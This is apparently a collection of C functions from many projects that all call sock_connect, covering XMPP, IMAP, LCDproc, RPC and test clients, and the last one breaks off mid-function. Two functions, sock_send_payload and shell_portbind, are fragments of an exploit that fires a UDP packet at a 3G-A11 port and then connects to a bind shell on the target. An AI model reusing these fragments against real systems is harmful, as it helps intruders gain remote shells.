int usc_mrcp_service_init(HANDLE_MRCPINTF* Handle, HANDLE_MRCPINTF asr, void* obj){ char buf[48]; off_t offset = 0; PUSH_FUN(buf, offset, sizeof(buf)); PUSH_HEAD(buf, offset, sizeof(buf)); int s = sock_connect(ip, port); if (s == -1) return -1; *Handle = s; writen(*Handle, buf, offset + 4); return 0; /*read data*/ }
static int _conn_connect(xmpp_conn_t * const conn, const char * const domain, const char * const host, unsigned short port, xmpp_conn_type_t type, xmpp_conn_handler callback, void * const userdata) { xmpp_open_handler open_handler; if (conn->state != XMPP_STATE_DISCONNECTED) return XMPP_EINVOP; if (type != XMPP_CLIENT && type != XMPP_COMPONENT) return XMPP_EINVOP; if (host == NULL || port == 0) return XMPP_EINT; _conn_reset(conn); conn->type = type; conn->domain = xmpp_strdup(conn->ctx, domain); if (!conn->domain) return XMPP_EMEM; conn->sock = sock_connect(host, port); xmpp_debug(conn->ctx, "xmpp", "sock_connect() to %s:%u returned %d", host, port, conn->sock); if (conn->sock == -1) return XMPP_EINT; if (conn->ka_timeout || conn->ka_interval) sock_set_keepalive(conn->sock, conn->ka_timeout, conn->ka_interval); /* setup handler */ conn->conn_handler = callback; conn->userdata = userdata; open_handler = conn->is_raw ? auth_handle_open_stub : type == XMPP_CLIENT ? auth_handle_open : auth_handle_component_open; conn_prepare_reset(conn, open_handler); /* FIXME: it could happen that the connect returns immediately as * successful, though this is pretty unlikely. This would be a little * hard to fix, since we'd have to detect and fire off the callback * from within the event loop */ conn->state = XMPP_STATE_CONNECTING; conn->timeout_stamp = time_stamp(); xmpp_debug(conn->ctx, "xmpp", "Attempting to connect to %s", host); return 0; }
struct connection *open_connection(short port, char *server) { struct connection *c; c = malloc(sizeof(struct connection)); if (c == NULL) { perror("Could not allocate memory\n"); } c->fd = sock_connect(port, server); if (c->fd < 0) { free(c); return NULL; } return c; }
int down_file( const char *ip, const int port, const char *id, const char *filename, char **result ) { int sockfd = -1; int timeout = TIMEOUT; if( ( sockfd = sock_connect( ip, port, timeout ) ) == -1 ) { fprintf( stderr, "cann't connect to cms server(%s:%d)!\n", ip, port ); return -1; } if( write( sockfd, NETPOWER, strlen( NETPOWER ) ) == -1 ) { fprintf( stderr, "send signal failed!\n" ); return -1; } if( write( sockfd, DOWN, strlen( DOWN ) ) == -1 ) { fprintf( stderr, "send Down command failed!\n" ); return -1; } if( send_package( sockfd, id, strlen( id ) ) == -1 ) { fprintf( stderr, "send ids Down(%s) failed!\n", id ); return -1; } if( send_package( sockfd, filename, strlen( filename ) ) == -1 ) { fprintf( stderr, "send filename(Down:%s) failed!\n", filename ); return -1; } if( recv_package( sockfd, result ) == -1 ) { fprintf( stderr, "Send Down recv failed!\n" ); return -1; } sock_close( sockfd ); return 0; }
int send_ids( const char *ip, const int port, const char *id, const char *cmd, char **result ) { int sockfd = -1; int timeout = TIMEOUT; if( ( sockfd = sock_connect( ip, port, timeout ) ) == -1 ) { fprintf( stderr, "cann't connect to cms server(%s:%d)!\n", ip, port ); return -1; } if( write( sockfd, NETPOWER, strlen( NETPOWER ) ) == -1 ) { fprintf( stderr, "send signal failed!\n" ); return -1; } if( write( sockfd, SEND, strlen( SEND ) ) == -1 ) { fprintf( stderr, "send Send command failed!\n" ); return -1; } if( send_package( sockfd, id, strlen( id ) ) == -1 ) { fprintf( stderr, "send ids sid(%s) failed!\n", id ); return -1; } if( send_package( sockfd, cmd, strlen( cmd ) ) == -1 ) { fprintf( stderr, "send cmd(%s) failed!\n", cmd ); return -1; } if( recv_package( sockfd, result ) == -1 ) { fprintf( stderr, "Send cmd(%s) recv failed!\n", cmd ); return -1; } sock_close( sockfd ); return 0; }
http_request_t * http_request (const char *url, int port) { http_request_t *req = NULL; socket_t *sock = NULL; char *buf = NULL; char *data = NULL; size_t len = 0; size_t size = 0; int rc = 0; // init sock = sock_tcp_client_new(url, port); if (NULL == sock) { return NULL; } data = (char *) malloc(sizeof(char) * MAX_REQUEST_BUFFER_SIZE); if (NULL == data) { sock_free(sock); return NULL; } // connect rc = sock_connect(sock); if (rc < 0) { sock_free(sock); return NULL; } // read while ((len = sock_read(sock, buf, MAX_REQUEST_BUFFER_SIZE)) > 0) { printf("%s\n", buf); } req = http_request_new((http_socket_t *) sock, buf); if (NULL == req) { sock_free(sock); return NULL; } sock_close(sock); return NULL; }
/* *|---------total len------------| *|--4 bytes---|offset len-------| */ int usc_mrcp_asr_init(HANDLE_MRCPINTF* asr, const char* configFile,unsigned int sessionNum) { char buf[512]; off_t offset = 0; //private_init(); int s = sock_connect(ip, port); if (s == -1) return -1; *asr = s; PUSH_FUN(buf, offset, sizeof(buf)); PUSH_STR(buf, offset, sizeof(buf), configFile); PUSH_INT(buf, offset, sizeof(buf), sessionNum, sizeof(unsigned int)); PUSH_HEAD(buf, offset, sizeof(buf)); writen(s, buf, offset + 4); /*read return value*/ return 0; }
static int sock_send_payload (long dest, int port, char *packet, int packet_len) { int sock; /* create udp socket */ sock = sock_udp_create (); if (sock_connect (sock, dest, PROTO_3G_A11_PORT) < 0) return -1; /* send packet */ send (sock, packet, packet_len, 0); printf ("[-] UDP packet sent (%d bytes).\n", packet_len); fflush (stdout); /* disconnect socket */ sock_disconnect (sock); return 0; }
static gpointer sock_connect_async_func(gpointer data) { SockConnectData *conn_data = (SockConnectData *)data; gint ret; conn_data->sock = sock_connect(conn_data->hostname, conn_data->port); if (conn_data->sock) { debug_print("sock_connect_async_func: connected\n"); ret = 0; } else { debug_print("sock_connect_async_func: connection failed\n"); ret = -1; } g_atomic_int_set(&conn_data->flag, 1); g_main_context_wakeup(NULL); debug_print("sock_connect_async_func: exit\n"); return GINT_TO_POINTER(ret); }
int main(int argc, char **argv) { sock_t sock; int err; sock = sock_connect("www.google.com", 80); if (sock < 0) { return 1; } err = wait_for_connect(sock); if (err < 0) { sock_close(sock); return 1; } sock_close(sock); return 0; }
int list_ids( const char *ip, const int port, const char *params, char **result ) { int sockfd = -1; int timeout = TIMEOUT; if( ( sockfd = sock_connect( ip, port, timeout ) ) == -1 ) { fprintf( stderr, "cann't connect to cms server(%s:%d)!\n", ip, port ); return -1; } if( write( sockfd, NETPOWER, strlen( NETPOWER ) ) == -1 ) { fprintf( stderr, "send signal failed!\n" ); return -1; } if( write( sockfd, LIST, strlen( LIST ) ) == -1 ) { fprintf( stderr, "send List command failed\n" ); return -1; } if( send_package( sockfd, params, strlen( params ) ) == -1 ) { fprintf( stderr, "send List params(%s) failed!\n", params ); return -1; } if( recv_package( sockfd, result ) == -1 ) { fprintf( stderr, "List recv failed!" ); return -1; } sock_close( sockfd ); return 0; }
static ThreadContext *new_context() { ThreadContext *pctx = malloc(sizeof(ThreadContext)); if (dest_host) { pctx->fd = sock_connect(dest_host, dest_port); if (pctx->fd == -1) exit(1); } else { char fn[256]; sprintf(fn, "%s-%s-%d-%x", basepath, hostname, getpid(), (int)pthread_self()); pctx->fd = open(fn, O_WRONLY|O_CREAT|O_TRUNC, 0644); if (pctx->fd == -1) { perror(fn); exit(1); } } output_header(pctx->fd); pctx->procfd = -1; pctx->idpos = 0; ID(pctx) = NULL; IDLEN(pctx) = 0; const char *lvl = getenv("ANNOTATE_LOG_LEVEL"); pctx->log_level = lvl ? atoi(lvl) : 255; pthread_setspecific(ctx_key, pctx); return pctx; }
int fd_map(int out_fd, int argc, char *argv[]) { int sock; char cmd[4096]; char *p = cmd; int i; if (argc <=0 ) return -1; sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) return -1; if (sock_connect(sock, "127.0.0.1", 9000) < 0) { close(sock); return -1; } for (i = 0; i < argc; i++) { p += sprintf(p, "%s", argv[i]); } sprintf(p, "\n"); write(sock, cmd, strlen(cmd)); for (;;) { int ret; char buf[4096]; ret = read(sock, buf, sizeof(buf)); if (ret < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) continue; if (ret <= 0) break; write(out_fd, buf, ret); } return 0; }
int sock_connect_service(char *server_ip, char *port ) { struct servent *servinfo; int portno; if( !port || !*port ) { system_error("you must provide a service port\n"); exit(1); } if( isdigit(*port) ) portno = atoi(port); else { servinfo = getservbyname( port, "tcp"); if(!servinfo) { system_error("no %s service\n", port); exit(1); } portno = ntohs( servinfo->s_port ); } return sock_connect( server_ip, portno ); }
/*-------------------------------------------------------------------------*\ * Tries to connect to remote address (address, port) \*-------------------------------------------------------------------------*/ const char *inet_tryconnect(p_sock ps, const char *address, unsigned short port, p_tm tm) { struct sockaddr_in remote; int err; memset(&remote, 0, sizeof(remote)); remote.sin_family = AF_INET; remote.sin_port = htons(port); if (strcmp(address, "*")) { if (!inet_aton(address, &remote.sin_addr)) { struct hostent *hp = NULL; struct in_addr **addr; err = sock_gethostbyname(address, &hp); if (err != IO_DONE) return sock_hoststrerror(err); addr = (struct in_addr **) hp->h_addr_list; memcpy(&remote.sin_addr, *addr, sizeof(struct in_addr)); } } else remote.sin_family = AF_UNSPEC; err = sock_connect(ps, (SA *) &remote, sizeof(remote), tm); if (err != IO_DONE) sock_destroy(ps); return sock_strerror(err); }
static void shell_portbind (long dest, int port, char *packet, int packet_len) { int sock; if (sock_send_payload (dest, port, packet, packet_len) < 0) { perror ("[-] Unable to send payload"); return; } sock = sock_tcp_create (); if (sock < 0) { perror ("[-] Error creating socket"); return; } printf ("[-] Delaying 3 seconds before connection attempt (portbind)."); fflush (stdout); sleep (1); printf ("."); fflush (stdout); sleep (1); printf ("."); fflush (stdout); sleep (1); printf ("\n"); if (sock_connect (sock, dest, port) < 0) { perror ("[-] Unable to connect"); return; } shell (sock); sock_disconnect (sock); }
void *srv_test_handler(void *arg) { char *request; char buf[1024]; unsigned int i, id; sock_t *s; id = (unsigned int)arg; s = &sock[id]; pthread_mutex_lock(&mt[id]); request = strdup("GET / HTTP/1.0\r\n\r\n"); for (i = 0; i < SRV_TEST_ITERS; i++) { memset(buf, '\0', sizeof buf); if (!sock_connect(s)) ERRF(__FILE__, __LINE__, "connecting to host!\n"); if (!sock_send(s, request, strlen(request))) ERRF(__FILE__, __LINE__, "sending request!\n"); usleep(500); if (!sock_recv(s, buf, sizeof buf)) ERRF(__FILE__, __LINE__, "getting response!\n"); sock_disconnect(s); usleep(500); printf("%s\n", buf); } pthread_mutex_unlock(&mt[id]); free(request); return NULL; }
static acl_action_type_t pipe_socket(char *dest, char *message, int size) { int sock; int n; sock = sock_connect(dest); if (sock == -1) { log_error("pipe_socket: sock_connect failed"); return ACL_ERROR; } n = write(sock, message, size); if (n == -1) { log_sys_error("pipe_socket: write"); return ACL_ERROR; } close(sock); return ACL_NONE; }
int cmd_dump(int argc, char **argv) { int sock, ret; if (argc > 1) { fprintf(stderr, "%s takes no options.\n", argv[0]); return EXIT_FAILURE; } if ((sock = sock_connect()) == -1) { die("Failed to connect server"); } if (sock_send_command(sock, "DUMP", NULL) == -1) { fprintf(stderr, "failed.\n"); return EXIT_FAILURE; } ret = get_status_reply(sock); close(sock); return ret; }
void client() { int client_fd = sock_connect("localhost", "12345", SOCK_STREAM); if ( client_fd == -1 ) { std::cout << "sock_connect " << errno << " " << strerror( errno ) << std::endl; exit(1); } char buf[BUF_SIZE]; memset(buf, 0, sizeof(buf) ); strncpy(buf, "foo bar", BUF_SIZE); ssize_t num_sent = send(client_fd, buf, strlen(buf)+1, 0); std::cout << "num_sent " << num_sent << std::endl; memset(buf, 0, sizeof(buf) ); ssize_t num_recv = recv(client_fd, buf, BUF_SIZE, 0); std::cout << "num_recv " << num_recv << std::endl; close( client_fd ); }
/** Initiate a component connection to the XMPP server. * This function returns immediately after starting the connection * process to the XMPP server, and notifiations of connection state changes * will be sent to the callback function. The domain and port specify the * server to connect to. Strophe will then attempt to bind to the domain specified * previously with xmpp_conn_set_jid * * @param conn a Strophe connection object * @param server a string with domain of the server to connect to, commonly "localhost" * @param port an integer port number to connect to * @param callback a xmpp_conn_handler callback function that will receive * notifications of connection status * @param userdata an opaque data pointer that will be passed to the callback * * @return 0 on success and -1 on an error * * @ingroup Connections */ int xmpp_connect_component(xmpp_conn_t * const conn, const char * const server, unsigned short port, xmpp_conn_handler callback, void * const userdata) { char connectdomain[2048]; int connectport; char *domain; conn->type = XMPP_COMPONENT; conn->domain = xmpp_strdup(conn->ctx, server); if (!conn->domain) return -1; domain = conn->domain; strcpy(connectdomain, domain); connectport = port ? port : 5222; conn->sock = sock_connect(connectdomain, connectport); if (conn->sock == -1) return -1; /* setup handler */ conn->conn_handler = callback; conn->userdata = userdata; /* FIXME: it could happen that the connect returns immediately as * successful, though this is pretty unlikely. This would be a little * hard to fix, since we'd have to detect and fire off the callback * from within the event loop */ conn->state = XMPP_STATE_CONNECTING; conn->timeout_stamp = time_stamp(); xmpp_debug(conn->ctx, "xmpp", "attempting to connect to %s", connectdomain); return 0; }
int main(int argc, char **argv) { int cfgresult; int c; /* set locale for cwdate & time formatting in chrono.c */ setlocale(LC_TIME, ""); /* get uname information */ if (uname(&unamebuf) == -1) { perror("uname"); return (EXIT_FAILURE); } /* setup error handlers */ signal(SIGINT, exit_program); /* Ctrl-C */ signal(SIGTERM, exit_program); /* "regular" kill */ signal(SIGHUP, exit_program); /* kill -HUP */ signal(SIGPIPE, exit_program); /* write to closed socket */ signal(SIGKILL, exit_program); /* kill -9 [cannot be trapped; but ...] */ /* No error output from getopt */ opterr = 0; /* get options from command line */ while ((c = getopt(argc, argv, "s:p:e:c:fhv")) > 0) { char *end; switch (c) { /* c is for config file */ case 'c': configfile = optarg; break; /* s is for server */ case 's': server = optarg; break; /* p is for port */ case 'p': port = strtol(optarg, &end, 0); if ((*optarg == '\0') || (*end != '\0') || (port <= 0) || (port >= 0xFFFF)) { fprintf(stderr, "Illegal port value %s\n", optarg); exit(EXIT_FAILURE); } break; case 'e': islow = strtol(optarg, &end, 0); if ((*optarg == '\0') || (*end != '\0') || (islow < 0)) { fprintf(stderr, "Illegal delay value %s\n", optarg); exit(EXIT_FAILURE); } break; case 'f': foreground = TRUE; break; case 'h': HelpScreen(EXIT_SUCCESS); break; case 'v': fprintf(stderr, "LCDproc %s\n", version); exit(EXIT_SUCCESS); break; /* otherwise... Get help! */ case '?': /* unknown option or missing argument */ /* FALLTHROUGH */ default: HelpScreen(EXIT_FAILURE); break; } } /* Read config file */ cfgresult = process_configfile(configfile); if (cfgresult < 0) { fprintf(stderr, "Error reading config file\n"); exit(EXIT_FAILURE); } /* Set default reporting options */ if (report_dest == UNSET_INT) report_dest = DEFAULT_REPORTDEST; if (report_level == UNSET_INT) report_level = DEFAULT_REPORTLEVEL; /* Set reporting settings */ set_reporting("lcdproc", report_level, report_dest); /* parse non-option arguments: modes to add/delete */ if (argc > max(optind, 1)) { int i; /* * if no config file was read, ignore hard coded default * modes */ if (cfgresult == 0) clear_modes(); /* turn additional options on or off (using ! as prefix) */ for (i = max(optind, 1); i < argc; i++) { int state = (*argv[i] == '!') ? 0 : 1; char *name = (state) ? argv[i] : argv[i] + 1; int shortname = (strlen(name) == 1) ? name[0] : '\0'; int found = set_mode(shortname, name, state); if (!found) { fprintf(stderr, "Invalid Screen: %s\n", name); return (EXIT_FAILURE); } } } if (server == NULL) server = DEFAULT_SERVER; /* Connect to the server... */ sock = sock_connect(server, port); if (sock < 0) { fprintf(stderr, "Error connecting to LCD server %s on port %d.\n" "Check to see that the server is running and operating normally.\n", server, port); return (EXIT_FAILURE); } sock_send_string(sock, "hello\n"); usleep(500000); /* wait for the server to say hi. */ /* We grab the real values below, from the "connect" line. */ lcd_wid = 20; lcd_hgt = 4; lcd_cellwid = 5; lcd_cellhgt = 8; if (foreground != TRUE) { if (daemon(1, 0) != 0) { fprintf(stderr, "Error: daemonize failed\n"); return (EXIT_FAILURE); } if (pidfile != NULL) { FILE *pidf = fopen(pidfile, "w"); if (pidf) { fprintf(pidf, "%d\n", (int)getpid()); fclose(pidf); pidfile_written = TRUE; } else { fprintf(stderr, "Error creating pidfile %s: %s\n", pidfile, strerror(errno)); return (EXIT_FAILURE); } } } /* Init the status gatherers... */ mode_init(); /* And spew stuff! */ main_loop(); exit_program(EXIT_SUCCESS); /* NOTREACHED */ return EXIT_SUCCESS; }
/*@null@*/ FILE *imap_open(Pop3 pc) { static int complained_already; /* we have to succeed once before complaining again about failure */ struct connection_state *scs; struct imap_authentication_method *a; char *connection_name; int sd; char capabilities[BUF_SIZE]; char buf[BUF_SIZE]; if (state_for_pcu(pc) != NULL) { /* don't need to open. */ return NULL; } /* got this far; we're going to create a connection_state structure, although it might be a blacklist entry */ connection_name = malloc(strlen(PCU.serverName) + 20); sprintf(connection_name, "%s:%d", PCU.serverName, PCU.serverPort); assert(pc != NULL); /* no cached connection */ sd = sock_connect((const char *) PCU.serverName, PCU.serverPort); if (sd == -1) { if (complained_already == 0) { IMAP_DM(pc, DEBUG_ERROR, "Couldn't connect to %s:%d: %s\n", PCU.serverName, PCU.serverPort, errno ? strerror(errno) : ""); complained_already = 1; } if (errno == ETIMEDOUT) { /* temporarily bump the interval, in a crude way: fast forward time so that the mailbox isn't checked for a while. */ pc->prevtime = time(0) + 60 * 5; /* now + 60 seconds per min * 5 minutes */ /* TCP's retry (how much time has elapsed while the connect times out) is around 3 minutes; here we just try to allow checking local mailboxes more often while remote things are unavailable or disconnected. */ } return NULL; } /* build the connection using STARTTLS */ if (PCU.dossl != 0 && (PCU.serverPort == 143)) { /* setup an unencrypted binding long enough to invoke STARTTLS */ scs = initialize_unencrypted(sd, connection_name, pc); /* can we? */ tlscomm_printf(scs, "a000 CAPABILITY\r\n"); if (tlscomm_expect(scs, "* CAPABILITY", capabilities, BUF_SIZE) == 0) goto communication_failure; if (!strstr(capabilities, "STARTTLS")) { IMAP_DM(pc, DEBUG_ERROR, "server doesn't support ssl imap on port 143."); goto communication_failure; } /* we sure can! */ IMAP_DM(pc, DEBUG_INFO, "Negotiating TLS within IMAP"); tlscomm_printf(scs, "a001 STARTTLS\r\n"); if (tlscomm_expect(scs, "a001 ", buf, BUF_SIZE) == 0) goto communication_failure; if (strstr(buf, "a001 OK") == 0) { /* we didn't see the success message in the response */ IMAP_DM(pc, DEBUG_ERROR, "couldn't negotiate tls. :(\n"); goto communication_failure; } /* we don't need the unencrypted state anymore */ /* note that communication_failure will close the socket and free via tls_close() */ free(scs); /* fall through will scs = initialize_gnutls(sd); */ } /* either we've negotiated ssl from starttls, or we're starting an encrypted connection now */ if (PCU.dossl != 0) { scs = initialize_gnutls(sd, connection_name, pc, PCU.serverName); if (scs == NULL) { IMAP_DM(pc, DEBUG_ERROR, "Failed to initialize TLS\n"); return NULL; } } else { scs = initialize_unencrypted(sd, connection_name, pc); } /* authenticate; first find out how */ /* note that capabilities may have changed since last time we may have asked, if we called STARTTLS, my server will allow plain password login within an encrypted session. */ tlscomm_printf(scs, "a000 CAPABILITY\r\n"); if (tlscomm_expect(scs, "* CAPABILITY", capabilities, BUF_SIZE) == 0) { IMAP_DM(pc, DEBUG_ERROR, "unable to query capability string"); goto communication_failure; } /* try each authentication method in turn. */ for (a = auth_methods; a->name != NULL; a++) { /* was it specified or did the user leave it up to us? */ if (PCU.authList[0] == '\0' || strstr(PCU.authList, a->name) != NULL) /* try the authentication method */ if ((a->auth_callback(pc, scs, capabilities)) != 0) { /* store this well setup connection in the cache */ bind_state_to_pcu(pc, scs); complained_already = 0; return NULL; } } /* if authentication worked, we won't get here */ IMAP_DM(pc, DEBUG_ERROR, "All authentication methods failed for '%s@%s:%d'\n", PCU.userName, PCU.serverName, PCU.serverPort); communication_failure: tlscomm_printf(scs, "a002 LOGOUT\r\n"); tlscomm_close(scs); return NULL; }
int main(int argc, char * argv[]) { /* State variables. */ int * socks_s; int sock_t; struct wire_requestqueue * Q_t; struct dispatch_state * dstate; /* Command-line parameters. */ intmax_t opt_n = 0; char * opt_p = NULL; char * opt_t = NULL; ADDRLIST opt_s; char * opt_s_1 = NULL; /* Working variables. */ size_t opt_s_size; struct sock_addr ** sas; size_t i; const char * ch; WARNP_INIT; /* We have no addresses to listen on yet. */ if ((opt_s = addrlist_init(0)) == NULL) { warnp("addrlist_init"); exit(1); } /* Parse the command line. */ while ((ch = GETOPT(argc, argv)) != NULL) { GETOPT_SWITCH(ch) { GETOPT_OPTARG("-n"): if (opt_n != 0) usage(); if (PARSENUM(&opt_n, optarg, 0, 65535)) { warn0("Invalid option: -n %s", optarg); usage(); } break; GETOPT_OPTARG("-p"): if (opt_p != NULL) usage(); if ((opt_p = strdup(optarg)) == NULL) OPT_EPARSE(ch, optarg); break; GETOPT_OPTARG("-s"): /* Keep a copy of the path for pidfile generation. */ if ((opt_s_1 == NULL) && ((opt_s_1 = strdup(optarg)) == NULL)) OPT_EPARSE(ch, optarg); /* Attempt to resolve to a list of addresses. */ if ((sas = sock_resolve(optarg)) == NULL) { warnp("Cannot resolve address: %s", optarg); exit(1); } if (sas[0] == NULL) { warn0("No addresses found for %s", optarg); exit(1); } /* Push pointers to addresses onto the list. */ for (i = 0; sas[i] != NULL; i++) { if (addrlist_append(opt_s, &sas[i], 1)) OPT_EPARSE(ch, optarg); } /* Free the array (but keep the addresses). */ free(sas); break; GETOPT_OPTARG("-t"): if (opt_t != NULL) usage(); if ((opt_t = strdup(optarg)) == NULL) OPT_EPARSE(ch, optarg); break; GETOPT_OPT("--version"): fprintf(stderr, "kivaloo-mux @VERSION@\n"); exit(0); GETOPT_MISSING_ARG: warn0("Missing argument to %s\n", ch); usage(); GETOPT_DEFAULT: warn0("illegal option -- %s\n", ch); usage(); } } argc -= optind; argv += optind; /* We should have processed all the arguments. */ if (argc != 0) usage(); /* Sanity-check options. */ if ((opt_s_size = addrlist_getsize(opt_s)) == 0) usage(); if (opt_t == NULL) usage(); /* Resolve target address. */ if ((sas = sock_resolve(opt_t)) == NULL) { warnp("Error resolving socket address: %s", opt_t); exit(1); } if (sas[0] == NULL) { warn0("No addresses found for %s", opt_t); exit(1); } /* Connect to the target. */ if ((sock_t = sock_connect(sas)) == -1) exit(1); /* Free the target address(es). */ sock_addr_freelist(sas); /* Create a queue of requests to the target. */ if ((Q_t = wire_requestqueue_init(sock_t)) == NULL) { warnp("Cannot create request queue"); exit(1); } /* Allocate array of source sockets. */ if ((socks_s = malloc(opt_s_size * sizeof(int))) == NULL) { warnp("malloc"); exit(1); } /* Create listening sockets. */ for (i = 0; i < opt_s_size; i++) { if ((socks_s[i] = sock_listener(*addrlist_get(opt_s, i))) == -1) exit(1); } /* Initialize the dispatcher. */ if ((dstate = dispatch_init(socks_s, opt_s_size, Q_t, opt_n ? (size_t)opt_n : SIZE_MAX)) == NULL) { warnp("Failed to initialize dispatcher"); exit(1); } /* Daemonize and write pid. */ if (opt_p == NULL) { if (asprintf(&opt_p, "%s.pid", opt_s_1) == -1) { warnp("asprintf"); exit(1); } } if (daemonize(opt_p)) { warnp("Failed to daemonize"); exit(1); } /* Loop until the dispatcher is finished. */ do { if (events_run()) { warnp("Error running event loop"); exit(1); } } while (dispatch_alive(dstate)); /* Clean up the dispatcher. */ dispatch_done(dstate); /* Shut down the request queue. */ wire_requestqueue_destroy(Q_t); wire_requestqueue_free(Q_t); /* Close sockets. */ for (i = 0; i < opt_s_size; i++) close(socks_s[i]); free(socks_s); close(sock_t); /* Free source socket addresses. */ for (i = 0; i < addrlist_getsize(opt_s); i++) sock_addr_free(*addrlist_get(opt_s, i)); addrlist_free(opt_s); /* Shut down the event subsystem. */ events_shutdown(); /* Free option strings. */ free(opt_p); free(opt_s_1); free(opt_t); /* Success! */ return (0); }
/** Initiate a connection to the XMPP server. * This function returns immediately after starting the connection * process to the XMPP server, and notifiations of connection state changes * will be sent to the callback function. The domain and port to connect to * are usually determined by an SRV lookup for the xmpp-client service at * the domain specified in the JID. If SRV lookup fails, altdomain and * altport will be used instead if specified. * * @param conn a Strophe connection object * @param altdomain a string with domain to use if SRV lookup fails. If this * is NULL, the domain from the JID will be used. * @param altport an integer port number to use if SRV lookup fails. If this * is 0, the default port will be assumed. * @param callback a xmpp_conn_handler callback function that will receive * notifications of connection status * @param userdata an opaque data pointer that will be passed to the callback * * @return 0 on success and -1 on an error * * @ingroup Connections */ int xmpp_connect_client(xmpp_conn_t * const conn, const char * const altdomain, unsigned short altport, xmpp_conn_handler callback, void * const userdata) { char domain[2048]; int port; const char *prefdomain = NULL; int found; if (conn->state != XMPP_STATE_DISCONNECTED) return -1; if (conn->domain != NULL) xmpp_free(conn->ctx, conn->domain); conn->type = XMPP_CLIENT; conn->secured = 0; conn->tls_failed = 0; conn->domain = xmpp_jid_domain(conn->ctx, conn->jid); if (!conn->domain) return -1; if (altdomain != NULL) { xmpp_debug(conn->ctx, "xmpp", "Connecting via altdomain."); prefdomain = altdomain; port = altport ? altport : _conn_default_port(conn); } else { found = sock_srv_lookup("xmpp-client", "tcp", conn->domain, domain, sizeof(domain), &port); if (!found) { xmpp_debug(conn->ctx, "xmpp", "SRV lookup failed, " "connecting via domain."); prefdomain = conn->domain; port = altport ? altport : _conn_default_port(conn); } if (conn->tls_legacy_ssl) { /* SSL tunneled connection on 5223 port is legacy and doesn't * have an SRV record. Force port 5223 here unless altport is * specified. */ port = altport ? altport : XMPP_PORT_CLIENT_LEGACY_SSL; } } if (prefdomain != NULL) { strncpy(domain, prefdomain, sizeof(domain)); domain[sizeof(domain) - 1] = '\0'; } conn->sock = sock_connect(domain, port); xmpp_debug(conn->ctx, "xmpp", "sock_connect to %s:%d returned %d", domain, port, conn->sock); if (conn->sock == -1) return -1; /* setup handler */ conn->conn_handler = callback; conn->userdata = userdata; /* FIXME: it could happen that the connect returns immediately as * successful, though this is pretty unlikely. This would be a little * hard to fix, since we'd have to detect and fire off the callback * from within the event loop */ conn->state = XMPP_STATE_CONNECTING; conn->timeout_stamp = time_stamp(); xmpp_debug(conn->ctx, "xmpp", "attempting to connect to %s", domain); return 0; }
/* * Do a remote procedure call (RPC) and wait for its reply. * If from_p is non-null, then we are doing broadcast, and * the address from whence the response came is saved there. */ int krpc_call( struct sockaddr_in *sa, u_int sotype, u_int prog, u_int vers, u_int func, mbuf_t *data, /* input/output */ struct sockaddr_in *from_p) /* output */ { socket_t so; struct sockaddr_in *sin; mbuf_t m, nam, mhead; struct rpc_call *call; struct rpc_reply *reply; int error, timo, secs; size_t len; static u_int32_t xid = ~0xFF; u_int16_t tport; size_t maxpacket = 1<<16; /* * Validate address family. * Sorry, this is INET specific... */ if (sa->sin_family != AF_INET) return (EAFNOSUPPORT); /* Free at end if not null. */ nam = mhead = NULL; /* * Create socket and set its recieve timeout. */ if ((error = sock_socket(AF_INET, sotype, 0, 0, 0, &so))) goto out1; { struct timeval tv; tv.tv_sec = 1; tv.tv_usec = 0; if ((error = sock_setsockopt(so, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)))) goto out; } /* * Enable broadcast if necessary. */ if (from_p && (sotype == SOCK_DGRAM)) { int on = 1; if ((error = sock_setsockopt(so, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)))) goto out; } /* * Bind the local endpoint to a reserved port, * because some NFS servers refuse requests from * non-reserved (non-privileged) ports. */ if ((error = mbuf_get(MBUF_WAITOK, MBUF_TYPE_SONAME, &m))) goto out; sin = mbuf_data(m); bzero(sin, sizeof(*sin)); mbuf_setlen(m, sizeof(*sin)); sin->sin_len = sizeof(*sin); sin->sin_family = AF_INET; sin->sin_addr.s_addr = INADDR_ANY; tport = IPPORT_RESERVED; do { tport--; sin->sin_port = htons(tport); error = sock_bind(so, (struct sockaddr*)sin); } while (error == EADDRINUSE && tport > IPPORT_RESERVED / 2); mbuf_freem(m); m = NULL; if (error) { printf("bind failed\n"); goto out; } /* * Setup socket address for the server. */ if ((error = mbuf_get(MBUF_WAITOK, MBUF_TYPE_SONAME, &nam))) goto out; sin = mbuf_data(nam); mbuf_setlen(nam, sa->sin_len); bcopy((caddr_t)sa, (caddr_t)sin, sa->sin_len); if (sotype == SOCK_STREAM) { struct timeval tv; tv.tv_sec = 60; tv.tv_usec = 0; error = sock_connect(so, mbuf_data(nam), MSG_DONTWAIT); if (error && (error != EINPROGRESS)) goto out; error = sock_connectwait(so, &tv); if (error) { if (error == EINPROGRESS) error = ETIMEDOUT; printf("krpc_call: error waiting for TCP socket connect: %d\n", error); goto out; } } /* * Prepend RPC message header. */ m = *data; *data = NULL; #if DIAGNOSTIC if ((mbuf_flags(m) & MBUF_PKTHDR) == 0) panic("krpc_call: send data w/o pkthdr"); if (mbuf_pkthdr_len(m) < mbuf_len(m)) panic("krpc_call: pkthdr.len not set"); #endif len = sizeof(*call); if (sotype == SOCK_STREAM) len += 4; /* account for RPC record marker */ mhead = m; if ((error = mbuf_prepend(&mhead, len, MBUF_WAITOK))) goto out; if ((error = mbuf_pkthdr_setrcvif(mhead, NULL))) goto out; /* * Fill in the RPC header */ if (sotype == SOCK_STREAM) { /* first, fill in RPC record marker */ u_int32_t *recmark = mbuf_data(mhead); *recmark = htonl(0x80000000 | (mbuf_pkthdr_len(mhead) - 4)); call = (struct rpc_call *)(recmark + 1); } else { call = mbuf_data(mhead); } bzero((caddr_t)call, sizeof(*call)); xid++; call->rp_xid = htonl(xid); /* call->rp_direction = 0; */ call->rp_rpcvers = htonl(2); call->rp_prog = htonl(prog); call->rp_vers = htonl(vers); call->rp_proc = htonl(func); /* call->rp_auth = 0; */ /* call->rp_verf = 0; */ /* * Send it, repeatedly, until a reply is received, * but delay each re-send by an increasing amount. * If the delay hits the maximum, start complaining. */ timo = 0; for (;;) { struct msghdr msg; /* Send RPC request (or re-send). */ if ((error = mbuf_copym(mhead, 0, MBUF_COPYALL, MBUF_WAITOK, &m))) goto out; bzero(&msg, sizeof(msg)); if (sotype == SOCK_STREAM) { msg.msg_name = NULL; msg.msg_namelen = 0; } else { msg.msg_name = mbuf_data(nam); 